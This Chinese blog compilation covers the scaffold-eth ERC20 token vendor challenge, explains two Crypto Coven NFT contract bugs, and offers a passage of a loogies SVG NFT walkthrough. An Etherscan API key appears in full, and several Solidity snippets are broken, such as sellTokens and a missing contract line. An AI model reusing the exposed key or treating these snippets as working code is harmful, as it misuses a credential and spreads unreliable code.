这篇教程我们来完成 scaffold-eth 项目的第二个挑战:代币承销商,我们可以在网站 speedrunethereum.com 中查看或者直接查看对应的 Github 连接:scaffold-eth/scaffold-eth-typescript-challenges

这个挑战的目的是创建一个自己的ERC20代币,并编写承销商合约,实现用户对代币的购买和卖出。下面,我们一步步完成这个过程。

一、安装并设置环境

首先,我们下载项目,并初始化环境。

git clone https://github.com/scaffold-eth/scaffold-eth-typescript-challenges.git challenge-2-token-vendor
cd challenge-2-token-vendor
git checkout challenge-2-token-vendor
yarn install

安装好依赖包之后,我们可以看到项目的主要目录为 packages,包含一下子目录

packages/
├── hardhat-ts
├── services
├── subgraph
└── vite-app-ts

其中:

  • hardhat-ts 是项目合约代码,包含合约文件以及合约的部署等;
  • services The Graph 协议的 graph-node 配置;
  • subgraph The Graph 协议相应的处理设置,包括 mappings,数据结构等;
  • vite-app-ts 前端项目,主要负责用户与合约交互。

The Graph 协议是去中心化的区块链数据索引协议,本片教程中暂时不涉及。我们需要启动三个命令终端,分别用于运行以下命令:

  • yarn chain 使用 hardhat 运行本地区块链,作为合约部署的本地测试链;
  • yarn deploy 编译、部署和发布合约;
  • yarn start 启动 react 应用的前端;

按顺序分别运行上述命令之后,此时我们就可以在 http://localhost:3000中访问我们的应用。如果需要重新部署合约,运行 yarn deploy --reset 即可。

yarn-start

二、编写 ERC20 代币合约

现在我们进入合约编写部分。我们的目标是编写一个 ERC20 代币合约,并为创建者铸造 1000 个代币。

什么是 ERC20 合约标准

代币可以在以太坊中表示任何东西,比如信誉积分,黄金等,而 ERC-20 提供了一个同质化代币的标准,每个代币与另一个代币(在类型和价值上)完全相同。

ERC20是各个代币的标准接口,包含以下方法:

// 名称
function name() public view returns (string)
// 符号
function symbol() public view returns (string)
// 合约使用的小数位,常见为 18
function decimals() public view returns (uint8)
// 代币总供应量
function totalSupply() public view returns (uint256)
// 地址的代币持有量
function balanceOf(address _owner) public view returns (uint256 balance)
// 代币划转
function transfer(address _to, uint256 _value) public returns (bool success)
// 用于划转代币,但这些代币不一定属于调用合约的用户
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
// 合约授予用户代币管理权限,调用者设置 spender 消费自己 amount 数量的代币
function approve(address _spender, uint256 _value) public returns (bool success)
// 检查代币的可消费余额
function allowance(address _owner, address _spender) public view returns (uint256 remaining)

// 事件
// 代币转移事件
event Transfer(address indexed from, address indexed to, uint256 value);
// 当调用 approve 时,触发 Approval 事件
event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
);

其中,合约必需设置 totalSupplybalanceOftransfertransferFromapprove 以及 allowance 这六个函数,其他如 namesymboldecimalsze 则是可选实现。

使用 OpenZeppelin 库

如果从上述的合约标准开始,我们需要实现这六个函数的方法,幸运的是,OpenZeppelin 库是一个成熟的合约开发库,为我们实现了 ERC20 代币基本功能,我们可以基于这个库开发我们的 ERC20 代币,这将大大减少我们的工作量。我们可以在 ERC20 标准 页面查到相关的使用方法。

除了 ERC20,OpenZeppelin 库还提供了其他合约标准的实现,比如 ERC721,ERC777等,以及大量的经过安全审计的库,这些对于我们快速开发和实现安全的合约代码提供了支持。

编写代码

我们使用 ERC20.sol 来实现我们的合约,创见一个名为 GOLD 的代币,代币符号为 GLD,并为创建者铸造 1000 个代币:

pragma solidity >=0.8.0 <0.9.0;
// SPDX-License-Identifier: MIT

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

// learn more: https://docs.openzeppelin.com/contracts/3.x/erc20

  constructor() public ERC20('Gold', 'GLD') {
    // 铸造 1000 * 10 ** 18 给 msg.sender
    _mint(msg.sender, 1000 * 10 ** 18);
  }
}

其中, _mint 方法是 ERC20 提供的方法,该方法创建相应数量的代币,并将代币发送给账户:

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

代码地址:https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L248

部署脚本

接着我们使用脚本进行部署,并向地址发送 1000 代币,地址可以在 http://localhost:3000 中连接我们的 Metamask 得到。部署脚本地址:packages/hardhat-ts/deploy/00_deploy_your_token.ts

...

  const yourToken = await ethers.getContract('YourToken', deployer);

  // 发送代币
  const result = await yourToken.transfer('0x169841AA3024cfa570024Eb7Dd6Bf5f774092088', ethers.utils.parseEther('1000'));

...

然后我们运行 yarn deploy --reset 部署合约。

验证

  1. 使用 Debug 页面功能进行检查,查看用户账户中的代币余额,可以看到账户中有 1000 个代币;

    balance

  2. 使用 transfer() 将代币转给另一个账户;

    在 Debug 中,使用 transfer 功能,输入目标钱包地址 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33,以及发送的数量 1000000000000000000000(1000*1E18,1后边有21个0),点击发送。等交易完成之后,可以分别查看原来账户和目标账户的代币数量,可以看到原来的变成了 0,目标账户是 1000。

    transfer

注意:

  • 如果发送时出现余额不足的提示,可以使用页面左下角的 Faucet 为账户充值。
  • 验证完成之后,需要将 00_deploy_your_token.ts 中的 transfer 代码注释了,不然会影响之后的步骤。

三、承销商合约 — 购买

接下来,我们创建一个承销商合约,这个合约允许用户通过以太购买代币。

为了完成这个功能,我们需要:

  1. 设置兑换比例,教程中为 tokensPerEth=100 ,也就是 1个以太可以兑换 100 GLD;
  2. 实现 buyTokens 函数,这个函数必须是 payable,可以接受发送的以太,计算对应的 GLD 数量,然后使用 transfer 将相应的 GLD 代币发送给购买者 msg.sender
  3. 触发一个 BuyTokens 事件,记录购买者,使用的 ETH 数量以及购买的 GLD 数量;
  4. 实现第二个函数 withdraw,用来将合约中的 ETH 全部提取到合约的所有者(owner)地址。我们可以使用两种方式设置合约的所有者:
    1. 部署时,使用我们能控制的钱包地址进行部署,并设置所有者;
    2. 使用任意地址部署,部署结束之后进行合约所有权转移;

在这个教程中,我们使用第二个方式,这样我们可以不用将我们控制的地址的私钥添加到项目配置中,降低暴露。

pragma solidity >=0.8.0 <0.9.0;
// SPDX-License-Identifier: MIT

import "@openzeppelin/contracts/access/Ownable.sol";
import './YourToken.sol';

contract Vendor is Ownable {
  YourToken yourToken;
  uint256 public tokensPerEth = 100;

  // 购买代币事件
  event BuyTokens(address buyer, uint256 amountOfEth, uint256 amountOfTokens);

  constructor(address tokenAddress) public {
    yourToken = YourToken(tokenAddress);
  }

  // 允许用户使用 EHT 购买代币
  function buyTokens() payable public {
    // 检查是否有足够的 ETH
    require(msg.value > 0, "Not enought ether");

    uint256 amountOfTokens = msg.value * tokensPerEth;

    // 检查承销商是否有足够的代币
    uint256 tokenBalance = yourToken.balanceOf(address(this));
    require(tokenBalance > amountOfTokens, "Not enought tokens");
    
    // 发送代币
    bool sent =  yourToken.transfer(msg.sender, amountOfTokens);
    require(sent, "Failed to transfer token to the buyer");

    emit BuyTokens(msg.sender, msg.value, amountOfTokens);
  }

  // 允许所有者取出所有代币
  function withdraw() public onlyOwner {

    uint256 balance = address(this).balance;
    require(balance > 0, "No ether to withdraw");
    
    // 发送代币给所有者
    (bool sent, ) = msg.sender.call{value: balance}("");
    require(sent, "Failed to withdraw balance");
  }
    

  // ToDo: create a sellTokens() function:
}

其中, Ownable 可以进行权限控制,合约提供的onlyOwner修改器可以用来限制某些特定合约函数的访问权限。在这里,我们的 withdraw 函数必需限制合约的所有这才能提取所有的资金。同时,这个合约提供了 transferOwnership 函数,可以用来转移合约的所有者,这个将在我们的脚本部分中使用。

对于部署脚本,我们需要完成以下功能:

  1. 在部署的时候将所有的代币发送到承销商的合约地址 vendor.address ,而不是我们之前的地址;
  2. 为了能将承销商合约中的所有 ETH 提取出来,需要将合约的所有权 ownership 转移到我们能控制的地址,比如我们在前端使用的地址。

脚本位置: packages/hardhat-ts/deploy/01_deploy_vendor.ts

  // You might need the previously deployed yourToken:
  const yourToken = await ethers.getContract('YourToken', deployer);

  // 部署承销商合约
  await deploy('Vendor', {
    // Learn more about args here: https://www.npmjs.com/package/hardhat-deploy#deploymentsdeploy
    from: deployer,
    args: [yourToken.address],
    log: true,
  });
	// 获取部署的合约
  const vendor = await ethers.getContract('Vendor', deployer);

  // 发送 1000 个代币给承销商
  console.log('\n 🏵  Sending all 1000 tokens to the vendor...\n');
  await yourToken.transfer(vendor.address, ethers.utils.parseEther('1000'));

  // 转移所有权
  await vendor.transferOwnership('0x169841AA3024cfa570024Eb7Dd6Bf5f774092088');

部署合约

完成上述代码之后,我们重新部署我们的合约:

yarn deploy --reset

对应的输出结果为:

$ yarn deploy --reset

Compiling 7 files with 0.8.6
Generating typings for: 7 artifacts in dir: ../vite-app-ts/src/generated/contract-types for target: ethers-v5
Successfully generated 15 typings!
Compilation finished successfully
deploying "YourToken" (tx: 0x758e492bc71e9de37cf109aa6aa966fc6c042d086babce32ddd76af02ec22acb)...: deployed at 0x0DCd1Bf9A1b36cE34237eEaFef220932846BCD82 with 639137 gas
deploying "Vendor" (tx: 0x7b0402937081b72f59abb9994e3773b0283116e1106665766af31bf246b466cc)...: deployed at 0x9A676e781A523b5d0C0e43731313A708CB607508 with 482680 gas

 🏵  Sending all 1000 tokens to the vendor...

可以从命令行输出中看到合约部署的地址为:

  • 承销商合约地址: 0x9A676e781A523b5d0C0e43731313A708CB607508
  • 代币地址: 0x0DCd1Bf9A1b36cE34237eEaFef220932846BCD82

验证

我们通过以下步骤进行验证:

  1. 通过 Debug 页面查看承销商 (Vendor)合约地址初始时是否有 1000 个代币;

  2. 使用 0.1 ETH 购买 10 个 GLD:我们使用 Buy Tokens 功能购买 10 个代币,可以看到此时的价格约为 0.1 ETH(ETH 价格为 2766.7 美元)。

    buyTokens

  3. 将购买的代币发送给另一个账户:同样使用页面 Transfer Tokens 功能完成;

    tokenBalance

  4. 使用所有者账户,查看是否能全部取出合约中的 ETH:在 Debug 页面,我们使用 withdraw 功能,尝试将承销商合约中的 ETH 全部取出,可以看到,当交易完成以后,合约的余额变为了0:

    vendorBalanceBefore

    变为:

    vendorBalanceAfter

四、承销商合约 — 回购

接下来我们添加承销商合约的回购代币功能,也就是允许用户通过发送代币给承销商合约,承销商合约将对应的ETH发给用户账户。但是在以太坊中,合约只能通过 payable 接受 ETH,无法接受直接发送代币,如果直接向合约发送代币,代币将会永久消失。所以在 ERC20 标准中,我们需要使用 approvetranferFrom 者两个函数来完成这个过程。

approve(address spender, uint256 amount) -> bool
transferFrom(address from, address to, uint256 amount) -> bool

首先,用户通过调用 approve 函数授权承销商合约( spender )处理 amount 数量的代币,然后,调用 transferFrom 函数将代币从用户账户( from )转移 amount 数量的代币给承销商合约( to )。这其中的难点在于 approvetransferFrom 函数。我们来看一下这两个函数在 OpenZeppelin 中具体实现,首先是 approve

    mapping(address => mapping(address => uint256)) private _allowances;

		/**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

从上面可以看出, approve 函数调用了 _approve_approve 中用 _allowances 这个哈希记录了 ownerspender 之间的授权数量 amount。因此可以推断, transferFrom 函数以及其他需要授权情况的函数都使用了 _allowances 这个变量,比如 allowance 函数。

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

transferFrom 函数中,先使用 _spendAllowance 进行授权数量检查并更新授权数量,然后再使用 _transfer 进行代币划转,而 _spendAllowance 中正是调用了 allowance 这个函数。

合约实现

合约的函数实现如下:

...
  event SellTokens(address seller, uint256 amountOfTokens, uint256 amountOfETH);

...

  // 允许用户使用代币换回 ETH
  function sellTokens(uint256 amountToSell) public {
    // 价差是否合理
    require(amountToSell > 0, "Amount to sell must be greater than 0");
    
    // 检查用户是否有足够的代币
    uint256 userBalance = yourToken.balanceOf(msg.sender));
    require(userBalance >= amountToSell, "Not enought tokens");

    // 检查承销商是否有足够的 ETH
    uint256 amountOfEthNeeded = amountToSell / tokensPerEth;
    uint256 venderBalance = address(this).balance;
    require(amountOfEthNeeded <= venderBalance, "Not enought ether");

    // 用户发送代币给承销商
    bool sent =  yourToken.transferFrom(msg.sender, address(this), amountToSell);
    require(sent, "Failed to transfer tokens from seller to vender");

    // 承销商发送 ETH 给用户
    (bool sent, ) = msg.sender.call{value: amountOfEthNeeded}("");
    require(sent, "Failed to send ether from vender to seller");

    emit SellTokens(msg.sender, amountToSell, amountOfEthNeeded);
  }

部署合约

我们再次部署新的合约:

$ yarn deploy --reset
Compiling 7 files with 0.8.6

Generating typings for: 7 artifacts in dir: ../vite-app-ts/src/generated/contract-types for target: ethers-v5
Successfully generated 15 typings!
Compilation finished successfully
deploying "YourToken" (tx: 0xd087814faeb6a8f1a7205d443550419b68d252bcd071e30c7965844105b761ac)...: deployed at 0x68B1D87F95878fE05B998F19b66F4baba5De1aed with 639137 gas
deploying "Vendor" (tx: 0xafaf257948f8c87e0a836eac6e2bbc1ec38026a5c2a0dfc0f71823a4ace635fd)...: deployed at 0x3Aa5ebB10DC797CAC828524e59A333d0A371443c with 694098 gas

 🏵  Sending all 1000 tokens to the vendor...

此时,合约地址变为:

  • 承销商合约地址: 0x3Aa5ebB10DC797CAC828524e59A333d0A371443c
  • 代币地址: 0x68B1D87F95878fE05B998F19b66F4baba5De1aed

验证

验证过程需要包含两步:

  1. 先在 Debug 页面使用代币的 approve 允许承销商合约处理 10 个代币:

    approve

    编辑权限 中,我们可以查看到授权的代币数量:

    approveAmount

  2. 使用承销商的 sellTokens 将 10 个代币换成 ETH。如果上一步没有使用 approve 的话,程序会报错。

    sellTokens

到这一步,我们就完成了合约的编写。

五、部署到测试网络

我们将部署合约到测试网络中,使用的测试网络是 rinkeby

  1. 修改以下变量为 rinkeby
    1. packages/hardhat-ts/hardhat.config.tsdefaultNetwork 变量,
    2. packages/vite-app-ts/src/config/providersConfig.ts 中的 targetNetworkInfo 变量
  2. 查看可用账户: yarn account ,如果没有找到可用账户,则使用 yarn generate 生成;
  3. 使用 faucet.paradigm.xyz 获取一些测试用的的 ETH,可以使用对应的区块浏览器查看账户情况,比如 https://rinkeby.etherscan.io/,当我们完成测试用币的申请之后,我们可以看到账户余额为 0.1ETH;
  4. 再次使用 yarn deploy 进行合约部署:
$ yarn deploy
Nothing to compile
No need to generate any newer typings.
deploying "YourToken" (tx: 0xa7a89a2917cfa355d1305643dc89f54d776186c0059977b0a237737fa37dff62)...: deployed at 0x0F0D10eF3589cE896E9E54E09568cB7a5371e398 with 639137 gas
deploying "Vendor" (tx: 0x3a1f02b77de29704a16599067c8e10abb0da78e547ea0eea8200761da5d45715)...: deployed at 0xb335Fc61D759C041503dC17266575229E593DE17 with 694098 gas

 🏵  Sending all 1000 tokens to the vendor...

可以看到,合约部署成功,此时我们可以在线上测试网络查看到具体的合约部署情况:

并且部署完成了初始化代币分发和所有权转换。详情可以查看部署账户信息: https://rinkeby.etherscan.io/address/0xccb20d43f62f31dd94436f04a1e90d7d08569e57

六、发布

接下来,我们将发布我们的前端项目到 Surge (或者使用 s3, ipfs 上)。Surge.sh 提供了免费的网站的部署,对于我们的测试网站来时再合适不过。

  1. 编译前端项目: yarn build
  2. 将项目发布到 surge 上: yarn surge
$ yarn surge

   Welcome to surge! (surge.sh)
   Login (or create surge account) by entering email & password.

          email: qwh005007@gmail.com
       password: 

   Running as qwh005007@gmail.com (Student)

        project: ./dist
         domain: qiwihui-scaffold-2.surge.sh
         upload: [====================] 100% eta: 0.0s (83 files, 16080214 bytes)
            CDN: [====================] 100%
     encryption: *.surge.sh, surge.sh (57 days)
             IP: 138.197.235.123

   Success! - Published to qiwihui-scaffold-2.surge.sh

Surge 在运行命令的过程中就设置了账户名称,以及可以自定义域名:qiwihui-scaffold-2.surge.sh,当完成部署之后,我们就可以在浏览器中访问这个页面,和我们本地运行的结果是一致的。

七、合约验证

当我们向测试网络部署合约时,部署的是合约编译之后的字节码,合约源码不会发布。实际生产中,有时我们需要发布我们的源代码,以保证我们的代码真实可信。此时,我们就可以借助 etherscan 提供的功能进行验证。

  1. 首先,我们获取 etherscan 的 API key,地址为 https://etherscan.io/myapikey,比如 PSW8C433Q667DVEX5BCRMGNAH9FSGFZ7Q8

  2. 更新 packages/hardhat-ts/package.json 中对应的 api-key 参数:

    ...
        "send": "hardhat send",
        "generate": "hardhat generate",
        "account": "hardhat account",
        "etherscan-verify": "hardhat etherscan-verify --api-key PSW8C433Q667DVEX5BCRMGNAH9FSGFZ7Q8"
      },
    ...
    
  3. 由于项目中的一个 bug,需要在根目录下的 packages.json 中添加以下命令才能直接使用之后的命令:

    "verify": "yarn workspace @scaffold-eth/hardhat etherscan-verify",
    
  4. 运行 yarn verify --network rinkeby ,这个命令将通过 etherscan 接口进行合约验证,输出结果为:

    $ yarn verify --network rinkeby
    verifying Vendor (0xb335Fc61D759C041503dC17266575229E593DE17) ...
    waiting for result...
     => contract Vendor is now verified
    verifying YourToken (0x0F0D10eF3589cE896E9E54E09568cB7a5371e398) ...
    waiting for result...
     => contract YourToken is now verified
    
  5. 验证完成后,我们可以看到 etherscan 中的合约页面已经加上了一个蓝色小钩,在合约中,也可以看到我们合约的源代码:

    contractVerified

至此,我们就完成了合约的验证。

八、提交结果

最后,当我们完成上述的所有步骤之后,我们可以将我们的结果提交到 speedrunethereum.com 上,选择对应的挑战,并提交部署的前端地址和承销商合约的链接即可:

submitChallenge

Congratulations! 你已经完成了这个教程

总结

通过篇教程,我们可以学习到如下内容:

  1. 合约 approvetransferFrom 的使用;
  2. 如何使用 OpenZeppelin 创建 ERC20 代币;
  3. 创建承销商合约实现用户对代币的买卖;
  4. 在测试网路 Rinkeby 上部署合约;
  5. Surge.sh 上部署前端项目;
  6. 在 etherscan 上查看合约以及验证合约;
  7. 以及关于 web3 开发的知识,包括 hardhat,react 等。

解释 Crypto Coven 合约的两个 bug

Crypto Coven 合约作者在他的文章 Crypto Coven Contract Bugs: An Arcanist’s Addendum 中描述了合约中的两个 bug,这篇文章我们来看看这两个bug。这两个 bug 并不会影响女巫 NFT 的所有权。

Bug 1:总共可铸造女巫的数量

在合约中有一个修改器 canMintWitches() 用来检查地址是否能够在公开发售阶段铸造更多的 NFT:

uint256 public maxWitches; // 初始化为 9,999
uint256 public maxGiftedWitches; // 初始化为 250

modifier canMintWitches(uint256 numberOfTokens) {
    require(
        tokenCounter.current() + numberOfTokens <=
            maxWitches - maxGiftedWitches,
        "Not enough witches remaining to mint"
    );
    _;
}

这里面的 bug 只会在特定的条件下触发。问题在于应该有 9749 个女巫在公开函数中铸造,250个在 owner-only 函数中铸造,共计9999个。这个逻辑在公开发售阶段如果没有女巫被赠送,则完全正常。然而,项目方在这期间铸造并赠送了女巫,这意味着在上面的条件检查中,右边的总数应该也要变化才正确。铸造赠送越多,相应能允许的 tokenId 越高。

在公开发售结束的时候,有93个女巫被赠送,这意味着 tokenCounter.current() 到达 9749 使得公开发售结束时,总共只有 9656 个女巫被铸造。

canGiftWitches() 函数的作用是为了限制可以赠送的女巫数量最大为 250,所以我们不能通过以下的方式规避:

uint256 public maxWitches; // 初始化为 9,999
uint256 public maxGiftedWitches; // 初始化为 250
uint256 private numGiftedWitches;

modifier canGiftWitches(uint256 num) {
    require(
        numGiftedWitches + num <= maxGiftedWitches,
        "Not enough witches remaining to gift"
    );
    require(
        tokenCounter.current() + num <= maxWitches,
        "Not enough witches remaining to mint"
    );
    _;
}

结果是,有93个女巫永久消失,合约总共铸造了9906个女巫。

修复方法

我们可以通过 numGiftedWitches 记录已经赠送的女巫数量来修正。

uint256 public maxWitches; // 初始化为 9,999
uint256 public maxGiftedWitches; // 初始化为 250
uint256 private numGiftedWitches;

modifier canMintWitches(uint256 numberOfTokens) {
    require(
        tokenCounter.current() + numberOfTokens <=
            maxWitches - maxGiftedWitches + numGiftedWitches,
        "Not enough witches remaining to mint"
    );
    _;
}

Bug 2:版税

Crypto Coven 认为拥有链上版税很重要,而不仅仅是使用特定于平台的链下实现,这就使得他们使用了 EIP-2981。 支持该标准的代码很简单:

function royaltyInfo(uint256 tokenId, uint256 salePrice)
    external
    view
    override
    returns (address receiver, uint256 royaltyAmount)
{
    require(_exists(tokenId), "Nonexistent token");

    return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100));
}

它是如何工作的呢? 市场调用该函数来读取接收方地址和版税金额的数据,然后相应地发送版税。 在上述例子中,接收方是合约地址,版税金额是 5%。然而,从 Solifidy 0.6.x 开始,合约必需要实现 receive() 方法才能接收以太,而女巫合约没有实现。并且,合约的测试在检查 royaltyInfo() 函数时,检查了是否返回正确的值,但是没有测试接收版税,所以如果市场尝试发送版税给合约会引起 revert

幸运的是,在这种情况下,补救措施非常简单,这要归功于 Royalty Registry。 项目方配置了一个覆盖指向不同的接收者 receiver 地址(在本例中,是他们的多重签名钱包),所以现在从 Royalty Registry 读取的市场将使用覆盖后的值。

修复方法

修复此错误以支持 EIP-2981 的最简单方法是简单地返回接收提款的所有者地址,而不是合约地址。 另一种选择是添加一个 royalReceiverAddress 变量和一个 setter 函数来配置这个值。

如果确实想将以太接收到合约地址,你需要做的就是在合约中添加一个 receive() 函数:

receive() external payable {}

总结

学习在 Solidity 中进行开发可能是一场考验——无论是小错误还是大错误,都会永远存在于区块链上,而且通常要付出巨大的代价。 但是,这僵化、无情的空间却有它自己的魅力,在约束中诞生的创造力,通过共同的不眠之夜形成的团结。 对于任何在荒野中闯出自己道路的初出茅庐的奥术师:我希望这里所提供的知识能够进一步照亮这条道路。

SVG NFT 全面实践 ── scaffold-eth loogies-svg-nft 项目完整指南

注:这篇文章是我投稿于“李大狗Leeduckgo”公众号的文章,原文地址:SVG NFT 全面实践 | Web3.0 dApp 开发(六)


loogies-svg-nft 是 scaffold-eth 提供的一个简单的 NFT 铸造和展示的项目,在本教程中,我们将带领大家一步步分析和实现这个项目。

由于项目的 loogies-svg-nft 分支与 master 分支在组件库和主页上有一些变化,故先将 master 分支代码与 loogies-svg-nft 分支进行了合并,解决冲突,得到一份基新组件库的全新的代码。可以参考项目地址: https://github.com/qiwihui/scaffold-eth.gitloogies-svg-nft 分支。本文以下内容将基于这些代码进行部署和分析。

本地运行和测试

首先我们先运行项目查看我们将要分析实现的功能。

本地运行

首先我们在本地运行项目:

clone 项目并切换到 loogies-svg-nft 分支:

git clone https://github.com/qiwihui/scaffold-eth.git loogies-svg-nft
cd loogies-svg-nft
git checkout loogies-svg-nft

安装依赖包

yarn install

运行前端

yarn start

在第二个终端窗口中,运行本地测试链

yarn chain

yarn-chain

在第三个终端窗口中,运行部署合约

yarn deploy

yarn-deploy

此时在浏览器中访问 http://localhost:3000 ,就可以看到程序了。

yarn-start

本地测试

  1. 首先在 MetaMask 钱包中添加本地网络,并切换到本地网络;

    • 网络名称: Localhost 8545
    • 新增 RPC URL: http://localhost:8545
    • 链 ID: 31337
    • Currency Symbol: ETH
  2. 创建一个新的本地钱包账号;

  3. 复制钱包地址,在页面左下角给这个地址发送一些测试 ETH;

  4. 点击在页面右上角 connect 连接钱包;

  5. 点击 Mint 铸造;

  6. 当交易成功后,可以看到新铸造的 NFT;

    nft-display

下面,我们开始对项目合约进行分析。

Loogies 合约分析

NFT 与 ERC721

NFT,全称为Non-Fungible Token,指非同质化代币,对应于以太坊上 ERC-721 标准。 一般在智能合约中,NFT 的定义包含 tokenIdtokenURI ,每一个 NFT 的 tokenId 是唯一的, tokenURI 对于保存了NFT的元数据,可以是图像URL、描述、属性等。如果一个 NFT 想在 NFT 市场上进行展示和销售,则 tokenURI 内容需要对应符合 NFT 市场的标准,比如,在 NFT 市场 OpenSea 元数据标准中,就指出了 NFT 展示需要设置的属性。

OpenSea 中 NFT 元数据与展示对应关系

OpenSea 中 NFT 元数据与展示对应关系

合约概览

loogies-svg-nft 项目的合约文件在 packages/hardhat/contracts/ 路径下,包含以下三个文件:

packages/hardhat/contracts/
├── HexStrings.sol
├── ToColor.sol
└── YourCollectible.sol
  • HexString.sol :生成地址字符串;
  • ToColor.sol:生成颜色编码字符串;
  • YourCollectible.solLoogies NFT的合约文件,主要功能涉及合约铸造和元数据生成。

合约的主要结构和方法为:

contract YourCollectible is ERC721, Ownable {

	// 构造函数
  constructor() public ERC721("Loogies", "LOOG") {
  }
  // 铸造 NFT
  function mintItem()
      public
      returns (uint256)
  {
    ...
  }
	// 获取 tokenId 对应 tokeURI
  function tokenURI(uint256 id) public view override returns (string memory) {
    ...
  }
	// 生成 tokenId 对应 svg 代码
  function generateSVGofTokenById(uint256 id) internal view returns (string memory) {
    ...
  }

	// 生成 tokenId 对应 svg 代码,主要用于绘制图像
  function renderTokenById(uint256 id) public view returns (string memory) {
    ...
  }

}

构造函数

constructor() public ERC721("Loogies", "LOOG") {
    // RELEASE THE LOOGIES!
  }

代币符号: Loogies

代币名称: LOOG

合约继承自 OpenZeppelin 的 ERC721.sol,这是 OpenZeppelin 提供的基本合约代码,可以方便开发者使用。

应用库函数

合约中分别对 uint256uint160bytes3 等应用了不同库函数,扩展对应功能:

// 使 uint256 具有 toHexString 功能
using Strings for uint256;
// 使 uint160 具有自定义 toHexString 功能
using HexStrings for uint160;
// 使 bytes3 可以方便生成前端颜色表示
using ToColor for bytes3;
// 计数功能
using Counters for Counters.Counter;

Mint 期限

以下代码是 Mint 时间限制:

uint256 mintDeadline = block.timestamp + 24 hours;

function mintItem()
      public
      returns (uint256)
  {
      require( block.timestamp < mintDeadline, "DONE MINTING");
...

合约在部署之后的24小时内可以铸造,超过24小时则会引发异常。这个机制类似于预售,由于这个合约比较简单,所以没有使用白名单机制,一般在实际情况,会使用预售和白名单的方式来控制 NFT 的发行。

Mint 铸造

铸造 NFT 其实就是在合约中设置两个信息:

  • tokenId 及其 owner
  • tokenId 及其 tokenURI

我们首先看铸造函数 mintItem

// 用于保存每一个铸造的 Loogies 的特征,其中,color 表示颜色,chubbiness 表示胖瘦
mapping (uint256 => bytes3) public color;
mapping (uint256 => uint256) public chubbiness;

...

function mintItem()
      public
      returns (uint256)
  {
      require( block.timestamp < mintDeadline, "DONE MINTING");
			// 每次铸造前自增 _tokenIds,确保 _tokenIds 唯一
      _tokenIds.increment();

      uint256 id = _tokenIds.current();
			// 铸造者与 tokenId 绑定
      _mint(msg.sender, id);
			// 随机生成对应 tokenId 的属性
      bytes32 predictableRandom = keccak256(abi.encodePacked( blockhash(block.number-1), msg.sender, address(this), id ));
      color[id] = bytes2(predictableRandom[0]) | ( bytes2(predictableRandom[1]) >> 8 ) | ( bytes3(predictableRandom[2]) >> 16 );
      chubbiness[id] = 35+((55*uint256(uint8(predictableRandom[3])))/255);

      return id;
  }

其中:

  • tokenId 在每次铸造时会自增,确保 tokenId 唯一;
  • _mint 函数绑定 tokenId 及其 owner
  • 每一个 tokenId 对应的属性通过随机方式生成,具体为:
